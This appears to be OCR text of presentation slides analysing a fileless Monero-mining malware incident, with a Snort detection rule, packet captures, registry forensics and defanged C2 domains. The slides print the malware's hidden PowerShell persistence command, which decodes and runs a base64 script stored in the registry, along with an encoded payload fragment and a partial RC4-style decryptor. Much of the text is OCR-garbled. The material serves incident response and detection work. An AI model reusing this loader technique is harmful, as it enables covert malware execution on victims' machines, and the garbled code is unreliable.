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Fileless malware
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Fileless malware

Investigation

Assess Damage
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Modus operandi

Scorecard _
Incident
Capture . . Response and
. Binary extraction :
events/activity Security
Analytics

Endpoint forensics Malware analysis

Secureworks




Modus operandi

Aiming
* @
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Modus operandi

Persistence

(w

indows Management Instrumentation

$System$\wbem\ repository

Windows registry/ service
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run\[ ]
RUNDLL32.EXE <dll name>,<entry point> <optional arguments>

Powershell
\ 'x o powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop
X T Y iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String ((gp
\ \ }: e ‘HKCU:\Software\Classes\HNKINZHBHZCOBE’ ) . ZUEMAUZYQQRBL) ) ) ;
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Case study
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Preparation

Snort rule

alert tcp SHOME NET any -> SEXTERNAL NET any (msg:%51234 VID51234

Cryptocurrency Stratum Mining Pool Login Detected";
flow:established, to server; dsize:<300; content:"|7b 22|"; depth:2;
content:" |22 |method|22|"; nocase; content:"|22|1login|22|"; nocase;
distance:0; content:" |22 |params|22|"; nocase; distance:0;

content:" |22 ]agent|22]|"; distance:0; content:"|7d|"; distance:0;

pcre:"/ M\ xTb\x22.*\x7d$/"; metadata:ari-balanced drop, policy

balanced drop, ari-connectivity alert, policy connectivity alert,

ari-security drop, ©policy security drop, ruleset-release 316;

priority:3; rev:3; s1d:1751654; classtype:unknown; )
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ldentification
Cryptocurrency Mining Pool Login Detected

ASCI Packet(s):
==pcap 1 ascii s==
e ZJ X O _E. lp@y5.D_ g g_. P {id1"sonrpcT"2.0" "'method":"login®,"params":

{"login""se _ 3 @mail.ru”,"pass":"x", "agent”:"XMRig/2.3 1.(Windows NT.6.1) libuv/1.13 2-dev.msvc/2015"}}.
==pcap 1 ascii e==

Hex Packet(s):

~=pcap 1 hex s== /m.i.g is high performance\
000000 0100 0000 2616 005A DC4A 0DOO EL00 0000 . & Z.J.... .

000010 E100 0000 588D O9EE 8480 8C60 4F02DBC3 X O.. Monero (XMR) CPU miner,
000020 0800 4500 00D3 5B70 4000 7906 35C8 OAAS E_[p@yS5. . with the official full
000030 445F BSCA 671A CABBE 1388 1A1C AB67 5F05 D_.g.....g_ .

000040 FALO 5018 0102 D706 0000 7B22 6964 223A P {id" Windows support.

)

Q00050 312C 226A 736F 6EVZ2 7063 223A 2232 2E30  17jsonrpc™."2.0 \
000060 222C 226D 6574 686F 6422 3A22 6C6F 6769  ""method™"logi

000070 6E22 2C22 7061 7261 6073 223AVB22 6C6F  n""params”:{"lo

000080 6765 6E22 3A22 7365 7265 FAGE 6536E 6B61  gin™”

000090 5FEB 6F7A 6CEF 765F 3139 3633 406D 6169  _ @mal
0000A0 6C2E 7275 222C 2270 6173 7322 3A22 7822  Lru","pass™"x"
"V 0000BO 2C22 6167 656E 7422 3A22 584D 5269 672F ,"agent™"XMRig/

A 0000C0O 322 332E 3120 2857 696E 646F 7773 204E 231 (Windows N
= Y, eSS 0000D0 5420 362E 3129 206C 6962 7576 2F31 2E31  T.6.1).libuv/11
Nl 2 0000EQ 332E 322D 6465 7620 6D73 7663 2F32 3031  3.2-dev.msvc/201
\ A, 0000F0 3522 7D7D OA 5.
\ Pl Sl e \ ==pcap 1 hex e==
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Technical investigation

1st glance

D:sUsers i tasklist

Console
Seszsion MWame Sessionlt Mem Usage a i Services
Console
Conszole
Console
Console
Console
Conszole
Console
Console
Conszole
Console
Console
Console
Conszole
Console
Console
Conszole
Console
Console
Console
Conszole
Console
Console
Console
Console
Console
Console
Conszole
Console
explorer . exe Console
iexplore .exe Console
Services
Services
Console
Services
Services
Services
Console
Console
Console
Console
Conszole
Services
Services
Console
Console
Console
Services
Conszole
Console
pcoip _vchan_loader.exe Console
conhost .exe Console
Console
Services
Console

Services
Services
Services
Services
Services
GConsole
Console
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
vmicsvc .exe Services
vmicsvc .exe Services
umicsuc .exe Services
Services
Services
Services
DefendpointService .exe Services
Litefigent .exe Services
=uchoszt .exe Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
SkyLightWorkspaceConf igSe Services
cuchost .exe Services
Services
Services
Services
Services
Seruices
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Technical investigation

In-depth analysis

1. Fetch the files:

NTUSER.DAT, USRCLASS.DAT, SECURITY,

SYSTEM, SOFTWARE.

2. Usage of the registry for persistence:

e a) autorun;
b) PowerShell scripts;
c) DLL modules.




Technical investigation

In-depth analysis

&

a) Autorun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

C:\Windows\SysWOWoc4\WindowsPowerShell\vl.O\powershell.exe -
WindowStyle hidden -NolLogo -NonInteractive -—-ep bypass -nop iex
([Text.Encoding] : :ASCII.GetString([Convert] ::FromBase64String( (gp
'"HKCU:\Software\Classes\HAZKSOSOTHSFA"') .VQOGA))) ;

Type viewer | Slack wigwer

Value name I{DEI 16E976-1E1C-4FEA-852F-52BBF61 ACI43}

Walue bype IRegExpandSz

Walue C:windows! SysWOWaHWindowsPower Shellly 1. Opowershell exe -Windowstyle hidden -MoLogo -MonInteractive -ep bypass -nop iex ([ Text,Encoding]:: ASCITLGetStringl Convert]: :FromBases4Stringl{gp ‘HKCU:  Software
1 Classes|HAZK SOSOTHSEA' MOGAT;




Technical investigation

In-depth analysis

b. next stage script:

.| HKEY CURRENT USER\Software\Classes\[Random
String]

Type viewer | Slack viewer

Yalue name I'-.-'QGF'.

Yalue bype IRegSz

Yalue JEYPRUIGWUdKSkZMSESUIDOGIOREWKETT LINFYERTRKERCyANCIRTc01pUIpTQOITEEUPSARe0yMUGNTIDLT IFMjatND 3OS N Y OL TREND 20UMWCzY 30HIROWOK JF 0 TFFZYkyMTUcgP SanezEwNTMAOEZEL TAZOTEENEQENC &
1BMKLZL TeOMHGHOICHTM4MHORCwOK Ry UY SRpb24g0nRGZFZRY LSV IUGYE JewlK CYBhemPH FED Y IR WY O 2R 0 IFEve 20 aWIuID0gM g TWRUZGFOE3 IS ID0g IHR ydWUgky 1bOni0 2yt SRIVURSSKhHTIRPLREC Y ThbYW 0 2%

Lia9zaxRpb24arsaxLCENYWSRY SR yvenkgP SakdHI1 ZSIdW0I5dGYERYOkSGhYbrFsc) 2L ZNCYmhgbSkNC glbQniDZyEd:SRID0GTmY ALUSiamyidCECeXRIW 1 0gMiLZOwIKCYECeXRIW 1 dIHMGPSBOZX T 2192 WNOIE JSdGY b SAyNT

Y¥7D0O0IZmyICgkaSARIDATICR pIC 1sdCAYNTY FICRpKyspewik COkke 1 skav0gPSEbORIDZYikaTshC ok Gt IGIID0G JEhoWES b HFCoYigmIoam 1 bIGkg 15AkSGhYbNFscl 12N CY mhab SEMZWSndGhdOwiK CXINCgkke CASIDAT

D0 lZm3yICakasASIDATICREIC 1sdCayNTYICRpKy spewik CokkeC ASTCgheC ArTCR 2wy R p RS A TCRrWYR pRSkg 15AvNTY PDC0IC SR 2wty RpSwke 1 skeFOgPS Ake 1 skeFOs THNE G dOwOK CRONC gkaSARIDAT IHAGP S AW OWIKC Wy

G0 JGMaPSAn Ok AtBHDGIERYSF K SEJOWESUTGYUZ 3ROy Ak ysrk X sHE gk 11GkgP S A0 Gk waxk SATDIINjsHC gk I IHAGPS A0 THAGK vk 1 skayDp T UgMiLZOwikOkke 1 skayis IHNBIHEAID0gIHNE IHEALCR 2R p% TsHCak

W ZIdFOkDSAATC ke 1 skatDakvAke 1 skeFODICLIGMILZOWOK CORKSFYILKDIRASYT 1ski100PSAKSEYILKDIRASYT 1ki1 DaLW 4baTa b 61 dOwOKCXONC ok Z4R 1 cmda JEHYSF JKSEdOWER7D 009D 00GdWSidakbBCbmzsy Rlvmiy 7

— Key VQGA contains the base64 encoded script which has 35.456 characters.




Technical investigation

In-depth analysis

$EOEBFYGJJFLHOT = 'HAZXSOSOTHSTA'

$8sMiRZSCBSIE = '{D21D359C-2E68-477B-9464-8R4765C0CET8} ",
SRNLQYVELMG = ' | 10536850321 -4D0d-A2R6-T428F TRES200}

. HFunction BLFAVECSRbTNAPT

Param([Parameter( Position = 0, Mandatory = $true )][Byte[]]$HVHRIHGNXO, [Parameter (Position = |, Mandatory = $true)] [AllowEmptyCollection()][Byte[]]
§HhXnglgBgScBbhjm)

[Byte[]]8k = lNew-Object Byte[] 25¢;

[Byte[]l$s = lew-Object Byte[] 25¢;

=) for ($1i = 0; i -1t 0o; $i+4) {

§s[§i] = [Bytel§i;

§k[§1] = $HhXnqlqBqScBbhijm[§i % $HhXnqlgBgScBbhjm.Length] ;

}

sp = 0;

B for ($i = 0; §i -1t “00; §it+) |
§p = (§p + §s[Hi] + Sk[§i]) % 200,
§s[$1],8s[%p] = $slspl,8s[8il];

}

$i=10;8p = ;

o for (§c = 0; $c -1t $HUHRJHGHNXO.Length; §o++) { BASEG64

i=(§i+ 1) % 200,
$p = ($p + $s[811) & oo
$s[§i],$s[$p] = $s[spl,$s[8i]; ENCODED

[int]$m = ($s[$i] + $s[Spl) % ;

SHUHRJHGNXO[%¢] = $HUHRJHG1IXD[$;:]-‘ '-bxor $s[sm]; SCR I PT
}

return $HUHRJHGHXO
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Technical investigation
In-depth analysis

c) encrypted DLL module
HKEY CURRENT USER\Software\Classes\[Random String]

.
al] vOGA REG_SZ JEVFRLIGWLICK SkZMSE LD 00 B WHET T 1MPVERTREEROy AMCRTc0 L pUIpTQOIThELGPS AneiCr. .
& ﬂﬂ {1 05355FA-03A 1 <4054 AZE6-T428F TEESIE0} REG_RINARY 95FZ 20 3B EC Z96F ESB0SE CFCT 2080 SBRC SFAFFS 9564 GECI904 ZBDADE CA T3 4F 95 ..
E‘,j {DZ10350C-ZE68-47TH- 0464-EA4 Te OCOCETEL REG_BINARY BZFZEABIBS
o]
ialue name

|{1nsassm-nan 1-4D84-AZB6-T428F TBB5380}

- REG_BINARY | Summ

= Position bx00000000 | bsrz zo3e ®c2s erE3 Bosz c¥e? zoep SBFC | .. s.0...R.. .1 %
Stark Offset 0 0200000010 | 57AF F593 8468 C9B4 2E0A OEC4 734F S5A7 | ... ho.4.._s0._!
Fizii g 0xz00000020 | 5430 FOG4 1226 2545 1O0BS 4914 EC34 373C | 2. .d.&%E..I..4.-
mg' g 0200000020 | 54FE 6FEB c23D 7807 039D 5658 98BT ZFTE | _.o...m. ..M. ../
Sined & T 0200000040 | 5736 C65C 3170 DT 5335 Cl45 SFDS 3050 | g6.\1p.yS5.E_. <.
Ursigned @ 143 0z00000080 | 5554 4CcED 0BEl 72ec E2e7 E702 AZSC 2FeF | UTL. .ar. .gW. .\

Signed 16 -3435 0200000060 | 2250 4D10 AZ50 OAS7 C368 1E55 32BE GE6E
Ursigned 16 62101 0xz00000070 | 1BE DE3A 1A3Z EZDA BE61 S4A3 BCEBC C732
Signed 32 99E014997 0z00000080 | Fz2E 2F31 AFFE EBSI 1C87 3DO9 Z0Cl 4029
Lnsigned 32 952014997 0200000050 | 7Bzz 354F ©525 15C7 7075 S8FA 6240 3307
sogned s -2045373210849250.. |5 0nono0an | ssre ccin DE94 SSED Deld Foza 4cES G8F2

Float 32 0.00
Floak 4 37635475086 Te 5, |DXO0B000ED | 546 OE7F E785 0EOT 2785 £5Z1 073D 6158

HEHHHHHHDHHH

= Datetime 0x000000C0 | 1938 3788 4833 HESDA 39ES SE4A 0563 S595C
WIN 64 12{30018%9 0x00000000 Gal9 9672 DF91 E976 DDELl D40F 6225 FCDA -
UMEx 32 682001 3:43:17 PM 0=000000ED BEEZA LEABE FCES L1EDD ZEOD O7ES Z7LE FOOG e T e ii i e
DOS 32 12/30/1599 Ox000000F0 G66FC Ll2iAD AFE7 £802 38BD A70F ElAs 7119 P
Dx00O000L00 | ZF17 &©344 034C 4E7B FLE? EECE C74E FT7ES | /.iD.LH{.]
0z00000L10 | 7ES0 S0C2Z 4BSD AACC 375C ZA27 7087 F7F8 |~ ' .Em...\*'pg.

Ox00000LZ0 | 7588 BOSC GBEF 4800 E895 E3T0 EZAZ BES0 Ju..\k.H.. .5p"...
0z00DODOL30 | 5674 FC51 ESZF FL1E 7EZ33 657F 637D EDPS5S | Xt Q. ..rPe«i}.1
0Ox00000L40 | 334E LOCC EDTF 1445 9E8S BEDT CEF4d CAODE -N...O0.E_..
Ox000DOLSD | 3E76 D113 DFEZE CBEZ3 FEBE Z155 8463 FL1A | =v. .. (. ¥._.
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Technical investigation

In-depth analysis

What next
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Technical investigation

In-depth analysis

BT O wWindow s Sysbem3 2 Windows PowerShellh v L0 powershell _ise.exe

Fila Edit Wiew Debug Help

=10] |
UokRls - Ox|®@c|p om| = |8 |[Emog
Untitled 1. ps1™ =
SEQEEBFYGIIFLHOT = "HAZKSOSOTHSFA " ;
$SEMIRZSCBSTE = "{DZ21D359C-2E68-477BE-9164-BAATEOCOCETBY " ;
SRNLOYVELMG '{1053IB8FA~-D3IAL -4 DE4-AZBE~-T4ZABFFBEBS 3IB0} " ;
Function BtFdVECSRhYmAPL{
FParam( [ { Pasition = 0, Mandatory = Strue )] [Byte[]1] $HUHRIHGHNND [ (Pozition = 1, Mandatory = St
[Bvte[]1]5k Hew-0Object Byte[] 256;
[Bwte[]]fs = New-Object Bytel[] 2563
; —— . e e -t - | e e T
PS ChUsers\Windows7 = (X
=
LEL T LR LI PR T
| st calze | DT a2




Technical investigation

In-depth analysis

Soplifan.[ru], Diplicano.[ru].

The traffic is repeated every 9 minutes.




Technical investigation

In-depth analysis

Captured 126 domains!

oplifan [.Jru, soplifan [.]ru, fiplicano [.]ru, diplicano [.]Jru, aiplicano [.]Jru, adygeya [.]ru, altai [.Jru, amur [.]Jru, amursk [.]ru, arkhangelsk [.]ru, astrakhan [.]ru,
baikal [.]ru, bashkiria [.]ru, belgorod [.]ru, bir [.]Jru, bryansk [.]ru, buryatia [.]ru, cbg [.]Jru, chel [.]Jru, chelyabinsk [.]Jru, chita [.]ru, chukotka [.]ru, chuvashia [.]ru,
cmw [.Jru, dagestan [.]Jru, dudinka [.]Jru, e-burg [.]Jru, fareast [.]Jru, grozny [.]ru, irkutsk [.]ru, ivanovo [.]Jru, izhevsk [.]ru, jamal [.]ru, jar [.]ru, joshkar-ola [.]ru,
kalmykia [.]ru, kaluga [.]Jru, kamchatka [.]ru, karelia [.]ru, kazan [.]Jru, kchr [.]ru, kemerovo [.]Jru, ghabarovsk [.]Jru, khakassia [.]Jru, khv [.]Jru, kirov [.]Jru, kms [.]ru,
koenig [.]Jru, komi [.]Jru, kostroma [.Jru, krasnoyarsk [.]Jru, kuban [.]Jru, k-uralsk [.]Jru, kurgan [.]ru, kursk [.]ru, kustanai [.]Jru, kuzbass [.]ru, lipetsk [.]Jru, magadan
[.]Jru, magnitka [.]Jru, mari [.]Jru, mari-el [.]Jru, marine [.]ru, mordovia [.Jru, mosreg [.]Jru, msk [.]Jru, murmansk [.]Jru, mytis [.]Jru, nakhodka [.]Jru, nalchik [.]ru, nkz
[.]Jru, nnov [.]Jru, norilsk [.]Jru, nov [.]ru, novosibirsk [.]ru, nsk [.]Jru, omsk [.]ru, orenburg [.]Jru, oryol [.]ru, oskol [.]Jru, palana [.]ru, penza [.]ru, perm [.]ru, pskov
[.]ru, ptz [.]ru, pyatigorsk [.]Jru, rubtsovsk [.]ru, ryazan [.]Jru, sakhalin [.]Jru, samara [.]ru, saratov [.]ru, simbirsk [.]Jru, smolensk [.]Jru, snz [.]Jru, spb [.]ru, stavropol
[.]ru, stv [.]ru, surgut [.]ru, syzran [.]Jru, tambov [.]ru, tatarstan [.]Jru, tom [.]ru, tomsk [.]ru, tsaritsyn [.]Jru, tsk [.]ru, tula [.]Jru, tuva [.]ru, tver [.]Jru, tyumen [.]ru,
udm [.Jru, udmautia [.]Jru, ulan-ude [.]Jru, vdonsk [.]ru, vladikavkaz [.]ru, vladimir [.]Jru, vladivostok [.]ru, volgograd [.]ru, vologda [.]Jru, voronezh [.]Jru, vyatka

[.]ru, yakutia [.]Jru, yamal [.]ru, yaroslavl [.]ru, yekaterinburg [.]Jru, yuzhno-sakhalinsk [.]Jru, zgrad [.]Jru
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